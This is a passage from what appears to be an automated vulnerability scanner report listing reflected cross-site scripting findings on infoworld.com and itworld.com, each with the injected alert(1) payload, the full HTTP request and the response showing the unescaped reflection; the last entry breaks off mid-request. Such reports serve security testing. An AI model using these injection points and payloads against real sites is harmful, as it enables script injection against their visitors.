1.89. http://www.infoworld.com/sites/default/files/ifw_favicon.ico [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.infoworld.com
Path:	/sites/default/files/ifw_favicon.ico

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e2526"><script>alert(1)</script>f7e954db30b was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/default/filese2526"><script>alert(1)</script>f7e954db30b/ifw_favicon.ico HTTP/1.1
Host: www.infoworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: mobify=0

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:31:24 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.8
X-Drupal-Cache: MISS
Last-Modified: Mon, 19 Sep 2011 19:31:24 +0000
Cache-Control: public, max-age=0, public, max-age=600
ETag: "1316460684-0"
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie,Accept-Encoding
nnCoection: close
Content-Type: text/html; charset=utf-8
Content-Length: 51147

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<head>
<m
...[SNIP]...
<a href="/user?destination=sites/default/filese2526"><script>alert(1)</script>f7e954db30b/ifw_favicon.ico">
...[SNIP]...

1.90. http://www.infoworld.com/sites/default/files/ifw_favicon.ico [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.infoworld.com
Path:	/sites/default/files/ifw_favicon.ico

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4dbc5"><script>alert(1)</script>44fb7454e2a was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/default/files/ifw_favicon.ico4dbc5"><script>alert(1)</script>44fb7454e2a HTTP/1.1
Host: www.infoworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: mobify=0

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:31:27 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.8
X-Drupal-Cache: MISS
Last-Modified: Mon, 19 Sep 2011 19:31:27 +0000
Cache-Control: public, max-age=0, public, max-age=600
ETag: "1316460687-0"
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie,Accept-Encoding
nnCoection: close
Content-Type: text/html; charset=utf-8
Content-Length: 51147

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<head>
<m
...[SNIP]...
<a href="/user?destination=sites/default/files/ifw_favicon.ico4dbc5"><script>alert(1)</script>44fb7454e2a">
...[SNIP]...

1.91. http://www.itworld.com/elqNow/elqBlank.htm [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/elqNow/elqBlank.htm

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 80584"-alert(1)-"7ee5b9894fe was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /elqNow80584"-alert(1)-"7ee5b9894fe/elqBlank.htm HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20SC_LINKS%3D%3B%20s_sq%3D%3B; s_pers=%20s_pv%3Dhomepage%7C1316479684409%3B

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:26:09 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460369"
Content-Type: text/html; charset=utf-8
Content-Length: 57127
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:10 GMT
X-Varnish: 1038161729
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
.prop13="CMS";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/elqNow80584"-alert(1)-"7ee5b9894fe/elqBlank.htm";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s.e
...[SNIP]...

1.92. http://www.itworld.com/elqNow/elqBlank.htm [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/elqNow/elqBlank.htm

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a0d84"><script>alert(1)</script>b5fd747c31e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /elqNowa0d84"><script>alert(1)</script>b5fd747c31e/elqBlank.htm HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20SC_LINKS%3D%3B%20s_sq%3D%3B; s_pers=%20s_pv%3Dhomepage%7C1316479684409%3B

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:55 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460355"
Content-Type: text/html; charset=utf-8
Content-Length: 57347
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:25:58 GMT
X-Varnish: 1038161353
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/elqNowa0d84"><script>alert(1)</script>b5fd747c31e/elqBlank.htm"/>
...[SNIP]...

1.93. http://www.itworld.com/elqNow/elqBlank.htm [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/elqNow/elqBlank.htm

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cd1c5"-alert(1)-"d23f8151abb was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /elqNow/elqBlank.htmcd1c5"-alert(1)-"d23f8151abb HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20SC_LINKS%3D%3B%20s_sq%3D%3B; s_pers=%20s_pv%3Dhomepage%7C1316479684409%3B

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:26:35 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460395"
Content-Type: text/html; charset=utf-8
Content-Length: 57126
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:37 GMT
X-Varnish: 1038162410
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
;
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/elqNow/elqBlank.htmcd1c5"-alert(1)-"d23f8151abb";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s.eVar13="CMS";

...[SNIP]...

1.94. http://www.itworld.com/elqNow/elqBlank.htm [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/elqNow/elqBlank.htm

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 20d41"><script>alert(1)</script>f154269347f was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /elqNow/elqBlank.htm20d41"><script>alert(1)</script>f154269347f HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20SC_LINKS%3D%3B%20s_sq%3D%3B; s_pers=%20s_pv%3Dhomepage%7C1316479684409%3B

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:26:29 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460389"
Content-Type: text/html; charset=utf-8
Content-Length: 57347
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:31 GMT
X-Varnish: 1038162280
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/elqNow/elqBlank.htm20d41"><script>alert(1)</script>f154269347f"/>
...[SNIP]...

1.95. http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 285d2"><script>alert(1)</script>d33fe3f1e0d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /it-managementstrategy285d2"><script>alert(1)</script>d33fe3f1e0d/204223/cyber-harassers-you-can-hide-you-can-t-run HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:29:14 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460554"
Content-Type: text/html; charset=utf-8
Content-Length: 57862
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:29:15 GMT
X-Varnish: 1038167322
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/it-managementstrategy285d2"><script>alert(1)</script>d33fe3f1e0d/204223/cyber-harassers-you-can-hide-you-can-t-run"/>
...[SNIP]...

1.96. http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8fd17"-alert(1)-"d480330d218 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /it-managementstrategy8fd17"-alert(1)-"d480330d218/204223/cyber-harassers-you-can-hide-you-can-t-run HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:29:20 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460560"
Content-Type: text/html; charset=utf-8
Content-Length: 57644
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:29:22 GMT
X-Varnish: 1038167692
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/it-managementstrategy8fd17"-alert(1)-"d480330d218/204223/cyber-harassers-you-can-hide-you-can-t-run";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn
...[SNIP]...

1.97. http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c7332"><script>alert(1)</script>c396c0fb929 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /it-managementstrategy/204223c7332"><script>alert(1)</script>c396c0fb929/cyber-harassers-you-can-hide-you-can-t-run HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:29:32 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460572"
Content-Type: text/html; charset=utf-8
Content-Length: 57863
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:29:34 GMT
X-Varnish: 1038168391
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/it-managementstrategy/204223c7332"><script>alert(1)</script>c396c0fb929/cyber-harassers-you-can-hide-you-can-t-run"/>
...[SNIP]...

1.98. http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b1c0a"-alert(1)-"4e4b1bce61 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /it-managementstrategy/204223b1c0a"-alert(1)-"4e4b1bce61/cyber-harassers-you-can-hide-you-can-t-run HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:29:38 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460578"
Content-Type: text/html; charset=utf-8
Content-Length: 57634
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:29:39 GMT
X-Varnish: 1038168635
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
4="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/it-managementstrategy/204223b1c0a"-alert(1)-"4e4b1bce61/cyber-harassers-you-can-hide-you-can-t-run";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find
...[SNIP]...

1.99. http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 460eb"-alert(1)-"67f87e41f93 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run460eb"-alert(1)-"67f87e41f93 HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
